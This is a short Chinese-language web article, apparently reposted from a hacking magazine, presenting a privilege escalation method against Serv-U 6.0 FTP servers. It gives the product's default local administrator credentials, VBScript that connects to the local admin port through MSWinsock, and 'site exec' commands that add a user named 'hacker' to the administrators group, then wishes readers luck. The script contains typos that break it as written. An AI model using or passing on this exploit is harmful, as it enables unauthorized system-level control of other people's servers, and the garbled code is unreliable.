搜索文章:

首页  |  Java技术  |  Asp.net  |  Asp编程  |  VC/C++  |  Delphi  |  VB编程

Serv-u6.0提权新招

来自:黑防4月份期刊

适用环境:服务器禁用fso,关掉wscript.shelll,没有执行权限。

限制:没有更改管理员的密码,或者破解出了serv-u的管理员的密码。serv-u默认用户名:localadministrator 密码:#@$ak#.k;0@p 下面用mswinsock。winsock建立一个连接,并且以system权限添加超级用户,代码如下:
dim revdata

dim sendata

set sock=createobject("mswinsock.winsock")

sock.protocol=0

sock.connect "127.0.0.1",43958

sendata="localadministrator"& chr(10) &chr(13)

sock.senddata snedata

sendata="#@$ak#.k;0@p" &chr(10) &chr(13)

sock.senddata.sendata



使用这个代码就可以连上ftp了,接下来用sock.senddata sendata 发送添加有执行权限用户的命令,想必大家该知道怎么做了吧,对了,就是用"site exec net user hacker hacker /add" "site exec net localgroup administrators hacker /add"

呵呵,就这样系统权限到手了,祝大家好运!

()

相关文章:
© 2006   www.java-asp.net